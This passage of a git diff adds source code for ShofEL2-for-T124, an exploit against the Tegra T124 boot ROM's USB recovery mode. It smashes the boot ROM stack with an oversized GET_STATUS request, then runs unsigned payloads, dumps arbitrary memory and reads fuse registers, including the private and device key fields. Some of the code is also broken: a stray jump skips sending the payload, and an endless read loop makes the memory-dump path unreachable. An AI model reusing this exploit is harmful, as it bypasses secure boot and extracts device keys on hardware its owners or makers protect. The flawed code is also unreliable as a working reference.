%08x\n", fuse_chip_registers->RESERVED_0x1F4 ); + printf( "RESERVED_0x1F8: %08x\n", fuse_chip_registers->RESERVED_0x1F8 ); + printf( "FUSE_SPARE_REALIGNMENT_REG: %08x\n", fuse_chip_registers->FUSE_SPARE_REALIGNMENT_REG ); + printf( "FUSE_SPARE_BITS 00-03: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[ 0], fuse_chip_registers->FUSE_SPARE_BITS[ 1], fuse_chip_registers->FUSE_SPARE_BITS[ 2], fuse_chip_registers->FUSE_SPARE_BITS[ 3] ); + printf( "FUSE_SPARE_BITS 04-07: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[ 4], fuse_chip_registers->FUSE_SPARE_BITS[ 5], fuse_chip_registers->FUSE_SPARE_BITS[ 6], fuse_chip_registers->FUSE_SPARE_BITS[ 7] ); + printf( "FUSE_SPARE_BITS 08-11: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[ 8], fuse_chip_registers->FUSE_SPARE_BITS[ 9], fuse_chip_registers->FUSE_SPARE_BITS[10], fuse_chip_registers->FUSE_SPARE_BITS[11] ); + printf( "FUSE_SPARE_BITS 12-15: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[12], fuse_chip_registers->FUSE_SPARE_BITS[13], fuse_chip_registers->FUSE_SPARE_BITS[14], fuse_chip_registers->FUSE_SPARE_BITS[15] ); + printf( "FUSE_SPARE_BITS 16-19: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[16], fuse_chip_registers->FUSE_SPARE_BITS[17], fuse_chip_registers->FUSE_SPARE_BITS[18], fuse_chip_registers->FUSE_SPARE_BITS[19] ); + printf( "FUSE_SPARE_BITS 20-23: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[20], fuse_chip_registers->FUSE_SPARE_BITS[21], fuse_chip_registers->FUSE_SPARE_BITS[22], fuse_chip_registers->FUSE_SPARE_BITS[23] ); + printf( "FUSE_SPARE_BITS 24-27: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[24], fuse_chip_registers->FUSE_SPARE_BITS[25], fuse_chip_registers->FUSE_SPARE_BITS[26], fuse_chip_registers->FUSE_SPARE_BITS[27] ); + printf( "FUSE_SPARE_BITS 28-31: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[28], fuse_chip_registers->FUSE_SPARE_BITS[29], fuse_chip_registers->FUSE_SPARE_BITS[30], fuse_chip_registers->FUSE_SPARE_BITS[31] ); + printf( "FUSE_SPARE_BITS 32-35: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[32], fuse_chip_registers->FUSE_SPARE_BITS[33], fuse_chip_registers->FUSE_SPARE_BITS[34], fuse_chip_registers->FUSE_SPARE_BITS[35] ); + printf( "FUSE_SPARE_BITS 36-39: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[36], fuse_chip_registers->FUSE_SPARE_BITS[37], fuse_chip_registers->FUSE_SPARE_BITS[38], fuse_chip_registers->FUSE_SPARE_BITS[39] ); + printf( "FUSE_SPARE_BITS 40-43: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[40], fuse_chip_registers->FUSE_SPARE_BITS[41], fuse_chip_registers->FUSE_SPARE_BITS[42], fuse_chip_registers->FUSE_SPARE_BITS[43] ); + printf( "FUSE_SPARE_BITS 44-47: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[44], fuse_chip_registers->FUSE_SPARE_BITS[45], fuse_chip_registers->FUSE_SPARE_BITS[46], fuse_chip_registers->FUSE_SPARE_BITS[47] ); + printf( "FUSE_SPARE_BITS 48-51: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[48], fuse_chip_registers->FUSE_SPARE_BITS[49], fuse_chip_registers->FUSE_SPARE_BITS[50], fuse_chip_registers->FUSE_SPARE_BITS[51] ); + printf( "FUSE_SPARE_BITS 52-55: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[52], fuse_chip_registers->FUSE_SPARE_BITS[53], fuse_chip_registers->FUSE_SPARE_BITS[54], fuse_chip_registers->FUSE_SPARE_BITS[55] ); + printf( "FUSE_SPARE_BITS 56-59: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[56], fuse_chip_registers->FUSE_SPARE_BITS[57], fuse_chip_registers->FUSE_SPARE_BITS[58], fuse_chip_registers->FUSE_SPARE_BITS[59] ); + printf( "FUSE_SPARE_BITS 60-63: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[60], fuse_chip_registers->FUSE_SPARE_BITS[61], fuse_chip_registers->FUSE_SPARE_BITS[62], fuse_chip_registers->FUSE_SPARE_BITS[63] ); +} + diff --git a/ShofEL2-for-T124/exploit/mini_libusb.c b/ShofEL2-for-T124/exploit/mini_libusb.c new file mode 100644 index 0000000..5343eaa --- /dev/null +++ b/ShofEL2-for-T124/exploit/mini_libusb.c @@ -0,0 +1,173 @@ +#include "mini_libusb.h" + +#define SYSFS_MOUNT_PATH "/sys" +#define SYSFS_DEVICE_PATH SYSFS_MOUNT_PATH "/bus/usb/devices" + +struct setup_data { + uint8_t bRequestType; + uint8_t bRequest; + uint16_t wValue; + uint16_t wIndex; + uint16_t wLength; + uint8_t data[]; +}; + +int usb_get_att(uint16_t *val, char *d_name, char *attr, int base) { + + int ret = -1; + char filepath[256]; + char attr_buf[20]; + int attr_fd; + + snprintf(filepath, sizeof(filepath), SYSFS_DEVICE_PATH "/%s/%s", d_name, attr); + attr_fd = open(filepath, O_RDONLY); + if (attr_fd < 0) { + DEBUG_MSG( "Usb %s: %s attribute not found.\n", d_name, attr ); + goto exit; + } + + if ( !read(attr_fd, attr_buf, sizeof(attr_buf)) ) { + DEBUG_MSG( "Usb %s: couldn't read %s.\n", d_name, attr ); + goto exit; + } + + *val = (uint16_t) strtol(attr_buf, NULL, base); + + ret = 0; + +exit: + close(attr_fd); + return ret; + +} + +int usb_find_path_by_vid_pid( char *path, uint16_t vid, uint16_t pid ) { + + int ret = -1; + uint16_t d_vid, d_pid, d_bus, d_num; + DIR *devices = opendir( SYSFS_DEVICE_PATH ); + struct dirent *entry; + + if ( !devices ) { + fprintf( stderr, "Critical Error: Sysfs not avaiable." ); + return 1; + } + + while ( ( entry = readdir( devices ) ) ) { + + if ( !isdigit( entry->d_name[0] ) || strchr( entry->d_name, ':' ) ) + continue; + + if ( !usb_get_att( &d_vid, entry->d_name, "idVendor", 16 ) && ( vid == d_vid ) && + !usb_get_att( &d_pid, entry->d_name, "idProduct", 16 ) && ( pid == d_pid ) && + !usb_get_att( &d_bus, entry->d_name, "busnum", 10 ) && + !usb_get_att( &d_num, entry->d_name, "devnum", 10 ) ) { + + sprintf( path, "/dev/bus/usb/%03d/%03d", d_bus, d_num ); + ret = 0; + break; + + } + + } + + closedir( devices ); + return ret; + +} + +int usb_open_by_vid_pid( uint16_t vid, uint16_t pid, uint8_t wait ) { + + int ret; + char path[256]; + + do { + ret = usb_find_path_by_vid_pid( path, vid, pid ); + usleep( 500 ); + } while ( wait && ( ret < 0 ) ); + DEBUG_MSG( "USB Path: %s\n", path ); + + if (ret) { + return -1; + } + + return open( path, O_RDWR ); + +} + +int usb_close( int usb ) { + return usb; +} + +int usb_send_control_txn( int usb, uint8_t bRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, uint16_t len, uint8_t *data, int32_t timeout ) { + + int ret = -1; + size_t setup_len = sizeof ( struct setup_data ) + len; + struct setup_data *setup_data_buf; + setup_data_buf = malloc( setup_len ); + memset( setup_data_buf, 0, setup_len ); + + setup_data_buf->bRequestType = bRequestType; + setup_data_buf->bRequest = bRequest; + setup_data_buf->wValue = wValue; + setup_data_buf->wIndex = wIndex; + setup_data_buf->wLength = len; + + struct usbdevfs_urb usb_control_urb; + memset(&usb_control_urb, 0, sizeof (usb_control_urb)); + + usb_control_urb.type = USBDEVFS_URB_TYPE_CONTROL; + usb_control_urb.endpoint = 0x0; + usb_control_urb.buffer = setup_data_buf; + usb_control_urb.buffer_length = setup_len; + + ioctl( usb, USBDEVFS_SUBMITURB, &usb_control_urb ); + + struct usbdevfs_urb *urb_reaped = NULL; + + if ( timeout ) { + + while ( timeout > 0 ) { + + int _ret = ioctl( usb, USBDEVFS_REAPURBNDELAY, &urb_reaped ); + if ( _ret == 0 ) { + break; + } + usleep(200000); + timeout -= 200; + + } + + } else { + + ioctl( usb, USBDEVFS_REAPURB, &urb_reaped ); + + } + + if ( urb_reaped && urb_reaped->status == 0 ) { + ret = 0; + memcpy( data, setup_data_buf->data, len ); + } + + if ( setup_data_buf ) free( setup_data_buf ); + return ret; + +} + +int usb_send_bulk_txn( int usb, uint32_t ep, uint32_t len, void *data ) { + + struct usbdevfs_bulktransfer bulk_txn; + memset( &bulk_txn, 0, sizeof ( bulk_txn ) ); + + bulk_txn.ep = ep; + bulk_txn.len = len; + bulk_txn.timeout = USB_BULK_TIMEOUT; + bulk_txn.data = data; + + if ( ioctl( usb, USBDEVFS_BULK, &bulk_txn ) == len ) + return 0; + + return -1; + +} + diff --git a/ShofEL2-for-T124/exploit/rcm.c b/ShofEL2-for-T124/exploit/rcm.c new file mode 100644 index 0000000..ab7df07 --- /dev/null +++ b/ShofEL2-for-T124/exploit/rcm.c @@ -0,0 +1,151 @@ +#include "rcm.h" + +int get_payload_aft_len( int payload_file_fd ) { + + struct stat payload_file_stat; + fstat( payload_file_fd, &payload_file_stat ); + size_t payload_size = payload_file_stat.st_size; + + if ( payload_size > MAX_PAYLOAD_FILE_SIZE ) { + fprintf( stderr, "Error: Payload file exceeds max payload size: %d bytes.\n", MAX_PAYLOAD_FILE_SIZE ); + return -1; + } + + size_t payload_aft_len = 0; + if ( payload_size > MAX_PAYLOAD_BEF_SIZE ) { + payload_aft_len = payload_size - MAX_PAYLOAD_BEF_SIZE; + } + + return payload_aft_len; +} + +int read_intermezzo( uint8_t *rcm_cmd_buf ) { + + int ret = -1; + int intermezzo_fd = 0; + + intermezzo_fd = open( "intermezzo.bin", O_RDONLY ); + if ( intermezzo_fd < 0 ) { + fprintf( stderr, "Error: Couldn't open the intermezzo.bin file.\n" ); + goto exit; + } + + struct stat intermezzo_stat; + fstat( intermezzo_fd, &intermezzo_stat ); + size_t intermezzo_size = intermezzo_stat.st_size; + if ( intermezzo_size > INTERMEZZO_LEN ) { + fprintf( stderr, "Error: Intermezzo file exceeds max intermezzo size: %d bytes.\n", INTERMEZZO_LEN ); + goto exit; + } + + read( intermezzo_fd, rcm_cmd_buf + RCM_CMD_BUF_INTERMEZZO_START, INTERMEZZO_LEN ); + + ret = 0; + +exit: + if ( intermezzo_fd > 0) close( intermezzo_fd ); + + return ret; + +} + +int read_payload_file( int payload_file_fd, uint8_t *rcm_cmd_buf, size_t rcm_cmd_buf_len ) { + + uint32_t payload_bef_len = read( payload_file_fd, rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_START, MAX_PAYLOAD_BEF_SIZE ); + uint32_t payload_aft_len = 0; + + if ( rcm_cmd_buf_len > RCM_CMD_BUF_PAYLOAD_CONT ) { + payload_aft_len = read( payload_file_fd, rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_CONT, rcm_cmd_buf_len - RCM_CMD_BUF_PAYLOAD_CONT ); + } + + payload_bef_len = TO_LITTLE_ENDIAN( payload_bef_len ); + payload_aft_len = TO_LITTLE_ENDIAN( payload_aft_len ); + memcpy( rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_BEF_LENVAR, (uint8_t *)&payload_bef_len, 0x4 ); + memcpy( rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_AFT_LENVAR, (uint8_t *)&payload_aft_len, 0x4 ); + + return 0; + +} + +int build_rcm_cmd( int payload_file_fd, uint8_t *rcm_cmd_buf, size_t rcm_cmd_buf_len, uint32_t payload_thumb_mode ) { + + int ret = -1; + + const uint32_t rcm_cmd_len = TO_LITTLE_ENDIAN( RCM_CMD_LEN ); + const uint32_t payload_entry = TO_LITTLE_ENDIAN( BOOTROM_PAYLOAD_ENTRY | 0x1 ); + payload_thumb_mode = TO_LITTLE_ENDIAN( payload_thumb_mode ); + + ret = read_intermezzo( rcm_cmd_buf ); + if ( ret < 0 ) { + goto exit; + } + + ret = read_payload_file( payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len ); + if ( ret < 0 ) { + goto exit; + } + + memcpy( rcm_cmd_buf, (uint8_t *)&rcm_cmd_len, sizeof(uint32_t) ); + memcpy( rcm_cmd_buf + RCM_CMD_BUF_MEMCPY_RET_ADD, (uint8_t *)&payload_entry, sizeof(uint32_t) ); + memcpy( rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_THUMB_MODE, (uint8_t *)&payload_thumb_mode, sizeof(uint32_t) ); + + ret = 0; + +exit: + + return ret; + +} + +int send_rcm_cmd( int rcm_usb, char* payload_filename, uint32_t payload_thumb_mode ) { + + int ret = -1; + uint8_t *rcm_cmd_buf = 0; + int payload_file_fd = 0; + + payload_file_fd = open( payload_filename, O_RDONLY ); + if ( payload_file_fd < 0 ) { + fprintf( stderr, "Error: Couldn't open the payload file: %s.\n", payload_filename ); + goto exit; + } + + int payload_aft_len = get_payload_aft_len( payload_file_fd ); + if ( payload_aft_len < 0 ) { + goto exit; + } + + size_t rcm_cmd_buf_len = RCM_CMD_BUF_PAYLOAD_CONT + payload_aft_len; + printf("len rcm_cmd_buf = %d\n", (int) (rcm_cmd_buf_len)); + size_t padding = 0x1000 - ( rcm_cmd_buf_len % 0x1000 ); + printf("padding = %d\n", (int) (padding)); + uint32_t n_writes = ( rcm_cmd_buf_len + padding) / 0x1000; + if ( ! ( n_writes % 2 ) ) { + padding += 0x1000; + } + printf("padding = %d\n", (int) (padding)); + + rcm_cmd_buf = malloc( rcm_cmd_buf_len + padding ); + if ( !rcm_cmd_buf ) { + fprintf( stderr, "Error: Couldn't alloc memory for RCM CMD buffer\n" ); + goto exit; + } + memset( rcm_cmd_buf, 0x00, rcm_cmd_buf_len + padding); + + ret = build_rcm_cmd( payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len, payload_thumb_mode ); + if ( ret < 0 ) { + goto exit; + } + + printf("len rcm_cmd_buf = %d", (int) (rcm_cmd_buf_len + padding)); + goto exit; + + ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, rcm_cmd_buf_len + padding, rcm_cmd_buf ); + +exit: + if (payload_file_fd > 0) close(payload_file_fd); + if (rcm_cmd_buf) free(rcm_cmd_buf); + + return ret; + +} + diff --git a/ShofEL2-for-T124/exploit/shofel2_t124.c b/ShofEL2-for-T124/exploit/shofel2_t124.c new file mode 100644 index 0000000..b44b520 --- /dev/null +++ b/ShofEL2-for-T124/exploit/shofel2_t124.c @@ -0,0 +1,246 @@ +#include +#include +#include +#include +#include + +#include "t124.h" +#include "rcm.h" +#include "fuse.h" +#include "mini_libusb.h" +#include "mem_dumper_usb_server.h" + +void print_hex_memory( void *mem, size_t size ) { + uint8_t *p = (uint8_t *)mem; + for ( int i = 0; i < size ; i++ ) { + if ( ( ( i % 16 ) == 0 ) && i ) + printf( "\n" ); + printf( "0x%02x ", p[i] ); + } + printf( "\n" ); +} + +void print_help() { + + fprintf( stderr, "shofel2_t124 ( MEM_DUMP | READ_FUSES | BOOT_BCT | PAYLOAD | DUMP_STACK ) [options]\n" + "\t* MEM_DUMP address length out_file -> Dumps \"length\" bytes starting from \"address\" to \"out_file\".\n" + "\t* READ_FUSES out_file -> Dumps the T124 fuses to \"out_file\" and show them in console.\n" + "\t* BOOT_BCT -> Boots BCT without applying locks.\n" + "\t* PAYLOAD payload.bin [arm|thumb] -> Boots \"payload.bin\" the entrymode mode can be specified (thumb by default).\n" + "\t* DUMP_STACK -> Dumps the stack as it is before smash it.\n\n" ); + +} + +int main( int argc, char *argv[] ) { + + int _ret_main = -1; + int rcm_usb = 0; + + uint8_t *data = NULL; + + int hacky_get_status_len = BOOTROM_SMASH_LEN; + + char *payload_filename = NULL; + uint32_t payload_thumb_mode = 1; + + uint8_t *dump = NULL; + uint32_t dump_start = 0; + uint32_t dump_len = 0; + char *dump_filename; + int dump_fd = -1; + uint8_t do_print_fuse = 0; + + + // ---- PARSE ARGS ---- + + if ( argc < 2 ) { + fprintf( stderr, "Error: invalid argument count.\n\n" ); + print_help(); + goto exit; + } + + if ( !strcmp( argv[1], "MEM_DUMP" ) ) { + + if ( argc != 5 ) { + fprintf( stderr, "Error: invalid argument count. shofel2_t124 MEM_DUMP address length out_file.\n" ); + goto exit; + } + payload_filename = "mem_dumper_usb_server.bin"; + sscanf( argv[2], "%x", &dump_start ); + sscanf( argv[3], "%x", &dump_len ); + dump_filename = argv[4]; + + } else if ( !strcmp( argv[1], "READ_FUSES" ) ) { + + if ( argc != 3 ) { + fprintf( stderr, "Error: invalid argument count. shofel2_t124 READ_FUSES out_file.\n" ); + goto exit; + } + payload_filename = "mem_dumper_usb_server.bin"; + dump_start = FUSE_BASE; + dump_len = FUSE_LEN; + dump_filename = argv[2]; + do_print_fuse = 1; + + } else if ( !strcmp( argv[1], "BOOT_BCT" ) ) { + + if ( argc != 2 ) { + fprintf( stderr, "Error: invalid argument count. shofel2_t124 BOOT_BCT.\n" ); + goto exit; + } + payload_filename = "boot_bct.bin"; + + } else if ( !strcmp( argv[1], "PAYLOAD" ) ) { + + if ( ( argc != 3 ) && ( argc != 4 ) ) { + fprintf( stderr, "Error: invalid argument count. shofel2_t124 PAYLOAD payload.bin [arm|thumb]\nThumb mode will be used by default.\n" ); + goto exit; + } + payload_filename = argv[2]; + if ( ( argc == 4 ) && ( argv[3][0] == 'a' ) ) { + payload_thumb_mode = 0; + } + + } else if ( !strcmp( argv[1], "DUMP_STACK" ) ) { + + if ( argc != 2 ) { + fprintf( stderr, "Error: invalid argument count. shofel2_t124 DUMP_STACK.\n" ); + goto exit; + } + + payload_filename = "boot_bct.bin"; // This payload shouldn't run on this CMD... + hacky_get_status_len = BOOTROM_STACK_GAP_LEN; + + } else { + + fprintf( stderr, "Error: invalid command.\n\n" ); + print_help(); + goto exit; + + } + + // -------------------- + + + // ----- INIT RCM ----- + + printf( "Waiting T124 to enter RCM mode (ctrl-c to cancel). Note: root permission could be required.\n" ); + // rcm_usb = usb_open_by_vid_pid( (uint16_t)JETSON_TK1_VID, (uint16_t)JETSON_TK1_PID, 1 ); + rcm_usb = usb_open_by_vid_pid( (uint16_t)SHIELD_TK1_VID, (uint16_t)SHIELD_TK1_PID, 1 ); + printf( "K1 in RCM mode connected.\n" ); + if ( rcm_usb < 0 ) { + fprintf( stderr, "Error: Couldn't open the usb.\n" ); + goto exit; + } + + uint8_t chip_id_buf[RCM_CHIP_ID_LEN]; + memset( &chip_id_buf, 0, sizeof(chip_id_buf) ); + + int ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, RCM_CHIP_ID_LEN, chip_id_buf ); + if ( ret < 0 ) { + fprintf( stderr, "Error: Couldn't read Chip ID. Please reset T124 in RCM mode again.\n" ); + goto exit; + } + printf( "Chip ID: " ); + print_hex_memory( chip_id_buf, RCM_CHIP_ID_LEN ); + + //----------------------- + + + // ---- SEND PAYLOAD ---- + + ret = send_rcm_cmd(rcm_usb, payload_filename, payload_thumb_mode); + if ( ret < 0 ) { + printf( "Error: Couldn't send RCM CMD.\n" ); + goto exit; + } + + //---------------------- + + + // ---- RUN EXPLOIT ---- + + data = malloc( hacky_get_status_len ); + ret = usb_send_control_txn( rcm_usb, USB_CTRL_DEVICE_ENDPOINT_TO_HOST, + USB_CTRL_GET_STATUS, 0, 0, hacky_get_status_len, data, 500 ); + if ( ret == 0 ) { + if ( hacky_get_status_len == BOOTROM_STACK_GAP_LEN ) { + printf( "Hacky Get Status finished correctly... Showing Stack\n" ); + _ret_main = 0; + } else { + printf( "Error: Hacky Get Status finished correctly... Not cool :-(\n" ); + } + print_hex_memory( data, hacky_get_status_len ); + goto exit; + } + + printf( "Hacky Get Status returned error... Probably the stack got smashed, Congrats :-)\n" ); + + //---------------------- + + dump_len = 8; + while(1){ + dump = malloc( dump_len ); + memset(dump, 0x00, dump_len); + ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, dump_len, dump ); + print_hex_memory(dump, dump_len); + if(ret < 0){ + printf("error!"); + } + else{ + print_hex_memory(dump, dump_len); + } + + } + + + // --- MEM DUMP CMD ---- + + if ( dump_len ) { + + printf( "Dumping %d bytes from 0x%08x.\n", dump_len, dump_start ); + struct mem_dumper_args_s mem_dumper_args = { + .start = dump_start, + .len = dump_len + }; + + ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof( mem_dumper_args ), &mem_dumper_args ); + if ( ret < 0 ) { + printf( "Error: Fail sending arguments to memory dumper usb server.\n" ); + goto exit; + } + + dump = malloc( dump_len ); + ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, dump_len, dump ); + if ( ret < 0 ) { + printf( "Error: Fail receiving memory dump.\n" ); + goto exit; + } + + dump_fd = open( dump_filename, O_WRONLY | O_TRUNC | O_CREAT ); + if ( dump_fd < 0 ) { + printf( "Error: Fail opening dump out file.\n" ); + goto exit; + } + write( dump_fd, dump, dump_len ); + + if ( do_print_fuse ) { + print_fuses( (fuse_chip_registers_t *) dump ); + } + } + + //---------------------- + + + _ret_main = 0; + +exit: + if ( rcm_usb > 0 ) usb_close( rcm_usb ); + if ( dump ) free( dump ); + if ( dump_fd > 0 ) close( dump_fd ); + if ( data ) free( data ); + + return _ret_main; + +} + diff --git a/ShofEL2-for-T124/include/endianness.h b/ShofEL2-for-T124/include/endianness.h new file mode 100644 index 0000000..5a6e2ac --- /dev/null +++ b/ShofEL2-for-T124/include/endianness.h @@ -0,0 +1,17 @@ +#ifndef _ENDIANNESS_H_ +#define _ENDIANNESS_H_ + +#ifdef __BYTE_ORDER + #if __BYTE_ORDER == __BIG_ENDIAN + + #include + #define TO_LITTLE_ENDIAN(x) bswap_32(x) + + #elif __BYTE_ORDER == __LITTLE_ENDIAN + + #define TO_LITTLE_ENDIAN(x) x + + #endif +#endif + +#endif diff --git a/ShofEL2-for-T124/include/fuse.h b/ShofEL2-for-T124/include/fuse.h new file mode 100644 index 0000000..d3beb76 --- /dev/null +++ b/ShofEL2-for-T124/include/fuse.h @@ -0,0 +1,127 @@ +#ifndef _FUSE_H_ +#define _FUSE_H_ + +#include +#include + +// Based on https://github.com/moriczgergo/moonflower/blob/933ab9ef66b76aa49ad2c29ca88d78173a81eff2/src/fuse.h + +typedef struct { + uint32_t FUSE_PRODUCTION_MODE; //0x000 + uint32_t FUSE_JTAG_SECUREID_VALID; //0x004 + uint32_t FUSE_ODM_LOCK; //0x008 + uint32_t FUSE_OPT_OPENGL_EN; //0x00c + uint32_t FUSE_SKU_INFO; //0x010 + uint32_t FUSE_CPU_SPEEDO_0_CALIB; //0x014 + uint32_t FUSE_CPU_IDDQ_CALIB; //0x018 + uint32_t RESERVED_0x01C; + uint32_t RESERVED_0x020; + uint32_t RESERVED_0x024; + uint32_t FUSE_OPT_FT_REV; //0x028 + uint32_t FUSE_CPU_SPEEDO_1_CALIB; //0x02c + uint32_t FUSE_CPU_SPEEDO_2_CALIB; //0x030 + uint32_t FUSE_SOC_SPEEDO_0_CALIB; //0x034 + uint32_t FUSE_SOC_SPEEDO_1_CALIB; //0x038 + uint32_t FUSE_SOC_SPEEDO_2_CALIB; //0x03c + uint32_t FUSE_SOC_IDDQ_CALIB; //0x040 + uint32_t RESERVED_0x044; + uint32_t FUSE_FA; //0x048 + uint32_t FUSE_RESERVED_PRODUCTION; //0x04c + uint32_t FUSE_HDMI_LANE0_CALIB; //0x050 + uint32_t FUSE_HDMI_LANE1_CALIB; //0x054 + uint32_t FUSE_HDMI_LANE2_CALIB; //0x058 + uint32_t FUSE_HDMI_LANE3_CALIB; //0x05c + uint32_t FUSE_ENCRYPTION_RATE; //0x060 + uint32_t FUSE_PUBLIC_KEY[0x8]; //0x064 - 0x080 + uint32_t FUSE_TSENSOR1_CALIB; //0x084 + uint32_t FUSE_TSENSOR2_CALIB; //0x088 + uint32_t RESERVED_0x08C; + uint32_t FUSE_OPT_CP_REV; //0x090 + uint32_t FUSE_OPT_PFG; //0x094 + uint32_t FUSE_TSENSOR0_CALIB; //0x098 + uint32_t FUSE_BOOTROM_PATCH_SIZE; //0x09c + uint32_t FUSE_SECURITY_MODE; //0x0a0 + uint32_t FUSE_PRIVATE_KEY[0x4]; //0x0a4 - 0x0b0 + uint32_t FUSE_DEVICE_KEY; //0x0b4 + uint32_t FUSE_ARM_DEBUG_DIS; //0x0b8 + uint32_t FUSE_BOOT_DEVICE_INFO; //0x0bc + uint32_t FUSE_RESERVED_SW; //0x0c0 + uint32_t FUSE_VP8_ENABLE; //0x0c4 + uint32_t FUSE_RESERVED_ODM[0x8]; //0x0c8-0x0e4 + uint32_t FUSE_OBS_DIS; //0x0e8 + uint32_t RESERVED_0x0EC; + uint32_t FUSE_USB_CALIB; //0x0f0 + uint32_t FUSE_SKU_DIRECT_CONFIG; //0x0f4 + uint32_t FUSE_KFUSE_PRIVKEY_CTRL; //0x0f8 + uint32_t FUSE_PACKAGE_INFO; //0x0fc + uint32_t FUSE_OPT_VENDOR_CODE; //0x100 + uint32_t FUSE_OPT_FAB_CODE; //0x104 + uint32_t FUSE_OPT_LOT_CODE_0; //0x108 + uint32_t FUSE_OPT_LOT_CODE_1; //0x10c + uint32_t FUSE_OPT_WAFER_ID; //0x110 + uint32_t FUSE_OPT_X_COORDINATE; //0x114 + uint32_t FUSE_OPT_Y_COORDINATE; //0x118 + uint32_t FUSE_OPT_SEC_DEBUG_EN; //0x11c + uint32_t FUSE_OPT_OPS_RESERVED; //0x120 + uint32_t FUSE_SATA_CALIB; //0x124 + uint32_t FUSE_GPU_IDDQ_CALIB; //0x128 + uint32_t FUSE_TSENSOR3_CALIB; //0x12c + uint32_t FUSE_SKU_BOND_OUT_L; //0x130 + uint32_t FUSE_SKU_BOND_OUT_H; //0x134 + uint32_t FUSE_SKU_BOND_OUT_U; //0x138 + uint32_t FUSE_SKU_BOND_OUT_V; //0x13c + uint32_t FUSE_SKU_BOND_OUT_W; //0x140 + uint32_t RESERVED_0x144; + uint32_t FUSE_OPT_SUBREVISION; //0x148 + uint32_t FUSE_OPT_SW_RESERVED_0; //0x14c + uint32_t FUSE_OPT_SW_RESERVED_1; //0x150 + uint32_t FUSE_TSENSOR4_CALIB; //0x154 + uint32_t FUSE_TSENSOR5_CALIB; //0x158 + uint32_t FUSE_TSENSOR6_CALIB; //0x15c + uint32_t FUSE_TSENSOR7_CALIB; //0x160 + uint32_t FUSE_OPT_PRIV_SEC_EN; //0x164 + uint32_t FUSE_PKC_DISABLE; //0x168 + uint32_t RESERVED_0x16C; + uint32_t RESERVED_0x170; + uint32_t RESERVED_0x174; + uint32_t RESERVED_0x178; + uint32_t FUSE_FUSE2TSEC_DEBUG_DISABLE; //0x17c + uint32_t FUSE_TSENSOR8_CALIB; //0x180 // <--WTF + uint32_t FUSE_OPT_CP_BIN; //0x184 + uint32_t FUSE_OPT_GPU_FS; //0x188 + uint32_t FUSE_OPT_FT_BIN; //0x18c + uint32_t RESERVED_0x190; + uint32_t FUSE_SKU_BOND_OUT_X; //0x194 + uint32_t FUSE_APB2JTAG_DISABLE; //0x198 + uint32_t RESERVED_0x19C; + uint32_t FUSE_PHY_FLOORSWEEP; //0x1a0 + uint32_t FUSE_PHY_FLOOR_ENABLE; //0x1a4 + uint32_t FUSE_ARM_CRYPT_DE_FEATURE; //0x1a8 + uint32_t FUSE_DENVER_MTS_DE_FEATURE; //0x1ac + uint32_t FUSE_DIE_VERSION_OVERRIDE; //0x1b0 + uint32_t FUSE_TRIMMERS; //0x1b4 + uint32_t FUSE_DENVER_BOOT_SEC; //0x1b8 + uint32_t FUSE_DENVER_DFD_ACCESS; //0x1bc + uint32_t FUSE_WOA_SKU_FLAG; //0x1c0 + uint32_t FUSE_ECO_RESERVE_1; //0x1c4 + uint32_t FUSE_GCPLEX_CONFIG_FUSE; //0x1c8 + uint32_t RESERVED_0x1CC; + uint32_t RESERVED_0x1D0; + uint32_t RESERVED_0x1D4; + uint32_t RESERVED_0x1D8; + uint32_t RESERVED_0x1DC; + uint32_t RESERVED_0x1E0; + uint32_t RESERVED_0x1E4; + uint32_t RESERVED_0x1E8; + uint32_t RESERVED_0x1EC; + uint32_t RESERVED_0x1F0; + uint32_t RESERVED_0x1F4; + uint32_t RESERVED_0x1F8; + uint32_t FUSE_SPARE_REALIGNMENT_REG; //0x1fc + uint32_t FUSE_SPARE_BITS[0X40]; //0x200 - 0X2fc +} fuse_chip_registers_t; + +void print_fuses( fuse_chip_registers_t *fuse_chip_registers ); + +#endif + diff --git a/ShofEL2-for-T124/include/mem_dumper_usb_server.h b/ShofEL2-for-T124/include/mem_dumper_usb_server.h new file mode 100644 index 0000000..9e2da57 --- /dev/null +++ b/ShofEL2-for-T124/include/mem_dumper_usb_server.h @@ -0,0 +1,12 @@ +#ifndef _MEM_DUMP_USB_SERVER_H_ +#define _MEM_DUMP_USB_SERVER_H_ + +#include + +struct mem_dumper_args_s { + uint32_t start; + uint32_t len; +}; + +#endif + diff --git a/ShofEL2-for-T124/include/mini_libusb.h b/ShofEL2-for-T124/include/mini_libusb.h new file mode 100644 index 0000000..7c55998 --- /dev/null +++ b/ShofEL2-for-T124/include/mini_libusb.h @@ -0,0 +1,37 @@ +#ifndef _MINI_LIBUSB_H_ +#define _MINI_LIBUSB_H_ + +#include +#include +#include +#include 